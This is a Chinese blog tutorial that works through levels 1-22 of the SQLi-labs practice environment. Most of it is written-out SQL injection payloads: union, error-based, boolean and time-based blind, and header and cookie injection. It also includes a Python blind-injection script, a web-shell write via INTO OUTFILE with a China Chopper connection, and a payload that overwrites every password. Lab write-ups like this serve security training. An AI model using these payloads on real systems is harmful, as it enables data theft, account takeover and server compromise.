Sqli-lab教程-史上最全详解(1-22通关)
作者:mmseoamin日期:2023-12-11

目录

Less-1 联合注入

Less-2

Less-3

Less-4

Less-5 报错注入/布尔盲注/时间盲注

Less-6 报错注入/布尔盲注/时间盲注

Less-7 文件导出

Less-8 布尔盲注/时间盲注

Less-9 时间盲注

Less-10 时间盲注

Less-11 post注入

Less-12 post注入

Less-13 post盲注

Less-14 post盲注

Less-15 时间盲注

Less-16 时间盲注

Less-17 修改密码

Less-18 user-agent头注入

Less-19 referer头注入

Less-20 cookie头注入

Less-21 cookie头注入+base64

Less-22 cookie头注入+base64


Less-1 联合注入

Sqli-lab教程-史上最全详解(1-22通关),第1张

当输入?id=1时,显示对应的Login name与Password

Sqli-lab教程-史上最全详解(1-22通关),第2张

①推测闭合方式

输入\,后面是',应该是单引号闭合

Sqli-lab教程-史上最全详解(1-22通关),第3张

?id=1'报错

?id=1' --+不报错

说明确实是单引号闭合

Sqli-lab教程-史上最全详解(1-22通关),第4张

②手工查询有多少栏目

?id=1' order by 2--+

发现3的时候可以,4的时候不可以,说明有3列

Sqli-lab教程-史上最全详解(1-22通关),第5张

③显示报错位

?id=-1' union select 1,2,3 --+

当union前面的语句为false,才会执行后面语句

发现哪些位置是可以显示的

Sqli-lab教程-史上最全详解(1-22通关),第6张

④爆库名

?id=-1' union select 1,database(),3 --+

security

Sqli-lab教程-史上最全详解(1-22通关),第7张

⑤爆表名

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

Sqli-lab教程-史上最全详解(1-22通关),第8张

0,1是从第0个开始取,每次取一个

尝试0,1 1,1 2,1 3,1 发现到4,1不行

或者

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

一次性爆出表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第9张

⑥爆列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

爆出列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第10张

⑦爆数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Sqli-lab教程-史上最全详解(1-22通关),第11张

或者:?id=-1' union select 1,group_concat(username,password),3 from users --+

或者:为了格式好看

?id=-1' union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+

Sqli-lab教程-史上最全详解(1-22通关),第12张

补充:Ascii码的一些转换:ASCII_百度百科

Less-2

同Less-1,没有闭合方式

Less-3

同Less-1,')闭合

Less-4

同Less-1,")闭合

Less-5 报错注入/布尔盲注/时间盲注

这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

Sqli-lab教程-史上最全详解(1-22通关),第13张

发现它并没有显示位

①判断闭合方式

?id=1\

发现是'闭合

Sqli-lab教程-史上最全详解(1-22通关),第14张

②判断注入点

?id=1' and 1=1 --+

Sqli-lab教程-史上最全详解(1-22通关),第15张

发现页面无回显

查询语句正确时页面会打印You are in...........,错误则不显示

③爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

库名:security

Sqli-lab教程-史上最全详解(1-22通关),第16张

②爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

Sqli-lab教程-史上最全详解(1-22通关),第17张

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第18张

③爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第19张

④爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

Sqli-lab教程-史上最全详解(1-22通关),第20张

Less-6 报错注入/布尔盲注/时间盲注

布尔型注入:

这个地方进行了数据库查询,但是没有显示位,报错不会出现信息

错误和正确页面有区别

这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

Sqli-lab教程-史上最全详解(1-22通关),第21张

无回显的

①判断闭合方式

?id=1\

发现是"闭合

?id=1" --+成功

②判断数据库长度

?id=1" and length(database())

Sqli-lab教程-史上最全详解(1-22通关),第22张

所以库名长度=8

②判断数据库名中字母

select substr(database(),1,1);

截取数据库库名,从第1个字开始截取,每次截取1个

select ascii(substr(database(),1,1));

截取出来的字,使用ascii码编码

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

Sqli-lab教程-史上最全详解(1-22通关),第23张

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
    for ascii in range(32, 128):
        id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
        r = req.get(url+id)
        print(url+id)
        if "You are in" in r.text:
            res += chr(ascii)
            print(res)
            break
        if ascii == 127:
            print('{}'.format(res))
            exit(0)

Sqli-lab教程-史上最全详解(1-22通关),第24张

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema='security'

select group_concat(column_name) from information_schema.columns where table_schema='security'

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1')) and 1=1--+成功

所以是'))闭合

②猜列数

?id=1')) order by 3--+ 列数为3

③导入一句话木马

?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+

Sqli-lab教程-史上最全详解(1-22通关),第25张

虽然提示报错,但是我们发现已经存在文件test.php了

Sqli-lab教程-史上最全详解(1-22通关),第26张

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

Sqli-lab教程-史上最全详解(1-22通关),第27张

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1' and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1' and if(length(database())=8,sleep(5),null)--+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1' and if(left(database(),1)='s',sleep(5),null)--+

?id=1' and if(left(database(),2)='se',sleep(5),null)--+

......

security

或者: ?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+

③爆表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)--+

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)--+

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)--+

......

database() 如果不想写,可以写security的hex值

表名:emails

或者:

id=1' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+

④爆列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit *,1),*)='password' ,sleep(5),null)--+

其中*需要逐个尝试

......

Less-9 时间盲注

'闭合

见Less-8

经过多次尝试,返回值均为You are in …

没有显示位,错误也不会告诉你

所以只能时间盲注

Less-10 时间盲注

同Less-9,"闭合

Less-11 post注入

前十关使用的是get请求,参数都体现在url上面

而从十一关开始是post请求,参数是在表单里面

我们可以直接在输入框进行注入或者bp抓包

Sqli-lab教程-史上最全详解(1-22通关),第28张

①BP抓包,send to repater

②判断闭合方式

admin'报错,admin' #不报错,所以是’闭合

Sqli-lab教程-史上最全详解(1-22通关),第29张

③判断回显位置

' union select 1,2 #

④爆库名

' union select 1,database() #

Sqli-lab教程-史上最全详解(1-22通关),第30张

⑤爆表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第31张

⑤爆列名

' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第32张

⑥爆数据

' union select 1,group_concat(username,password) from users #

Sqli-lab教程-史上最全详解(1-22通关),第33张

Less-12 post注入

")闭合 有回显

同Less-11

Less-13 post盲注

')闭合 无回显

①猜闭合方式

admin'

报错near '111') LIMIT 0,1' at line 1

说明是')闭合

输入') # 或') or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

这里讲报错盲注,(布尔盲注不知道为什么不行...时间盲注见Less-15)

sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-CSDN博客

③爆字段数

1') order by 3#报错

1') order by 2#无回显

所以字段数为2

④爆库名

1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

Sqli-lab教程-史上最全详解(1-22通关),第34张

⑤爆表名

1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第35张

⑥爆列名

1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第36张

⑦爆数据

1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Sqli-lab教程-史上最全详解(1-22通关),第37张

Less-14 post盲注

同Less-13

admin"报错,admin"#无回显

所以是"闭合

布尔盲注好像不能用

可以用时间盲注见Less-15

Less-15 时间盲注

'闭合

①测试

用admin'、admin" 、admin' and 1=2# 进行测试,发现都不返回错误信息

②判断是否有延时

admin' and sleep(5) #

发现确实有延时,可以用时间盲注

③爆库长

admin' and if(length(database())=8,sleep(5),null) #

④爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

admin' and if(left(database(),1)='s',sleep(5),null) #

admin' and if(left(database(),2)='se',sleep(5),null) #

......

security

或者admin' and if(ascii(substr(database(),0,1))=115,1,sleep(5))#

或者admin' and if((select (substr(database(),1,1))="s") ,sleep(5), null)#

⑤爆表名

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#

......

Less-16 时间盲注

同Less-15,")闭合

Less-17 修改密码

(本题危害比较大)

update users set password='$p' where username='$u'

update users set password='' or 1=1 #' where username='admin'

admin

' or 1=1 #

会把数据库所有密码都改为1

update users set password=1

前十六道题都很简单没有什么过滤的方法,直到这关开始有绕过

https://www.cnblogs.com/unknown27/articles/16823537.html

①爆库名

admin

1' and updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

Sqli-lab教程-史上最全详解(1-22通关),第38张

②爆表名

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第39张

③爆列名

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第40张

④爆数据

1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Sqli-lab教程-史上最全详解(1-22通关),第41张

Less-18 user-agent头注入

user-agent

insert into 'security'.'某个表'(uagent,ipadd,username) values('浏览器信息','ip地址','用户名')

$insert="insert into 'security'.'uagents' ('uagent', 'ip_address', 'username') values ('$uagent', '$IP', $uname)";

Sqli-lab教程-史上最全详解(1-22通关),第42张

Sqli-lab教程-史上最全详解(1-22通关),第43张

输入正确的用户名密码admin admin,会返回代理信息user-agent

所以uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键

(用户名密码正确才能把头注入写入后台数据库,所以前提是登录进去了)

抓包修改请求包的User Agent

关键是闭合前后的语句

sqli-labs(18-23关)_sql18关_cyphersec的博客-CSDN博客

①判断闭合方式

在username和password处尝试注入均被转义,无法注入

在user-agent后测试发现

'报错

' and '1'='1正确

所以是'闭合

Sqli-lab教程-史上最全详解(1-22通关),第44张

②爆库名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

库名:security

Sqli-lab教程-史上最全详解(1-22通关),第45张

③爆表名

insert into 'security'.'某个表'(uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip地址','用户名')

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1) and '1'='1

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

表名:emails,referers,uagents,users

Sqli-lab教程-史上最全详解(1-22通关),第46张

④爆列名

'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '

列名:id,username,password

Sqli-lab教程-史上最全详解(1-22通关),第47张

⑤爆数据

' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and '1'='1

Sqli-lab教程-史上最全详解(1-22通关),第48张

Less-19 referer头注入

来路流量(你是从哪个地方来的)

Sqli-lab教程-史上最全详解(1-22通关),第49张

输入正确的用户名密码admin admin,会返回referer

走流程

' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1

'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '

'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '

'and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e)) and'

Sqli-lab教程-史上最全详解(1-22通关),第50张

Less-20 cookie头注入

Sqli-lab教程-史上最全详解(1-22通关),第51张

输入正确的用户名密码admin admin,会返回cookie

①判断闭合方式

admin'报错

admin' and '1'='1正确

为'闭合

②爆库名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 也可以

Sqli-lab教程-史上最全详解(1-22通关),第52张

走流程

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #

' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) #

Sqli-lab教程-史上最全详解(1-22通关),第53张

Less-21 cookie头注入+base64

Sqli-lab教程-史上最全详解(1-22通关),第54张

还是cookie头注入

但是抓包都发现cookie后的内容被进行base64编码了

Sqli-lab教程-史上最全详解(1-22通关),第55张

因此输入攻击语句之后,转化为base64encode即可

走流程

①爆库名

admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

编码后

YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

Sqli-lab教程-史上最全详解(1-22通关),第56张

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1

admin' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and '1'='1

Less-22 cookie头注入+base64

同Less-21,"闭合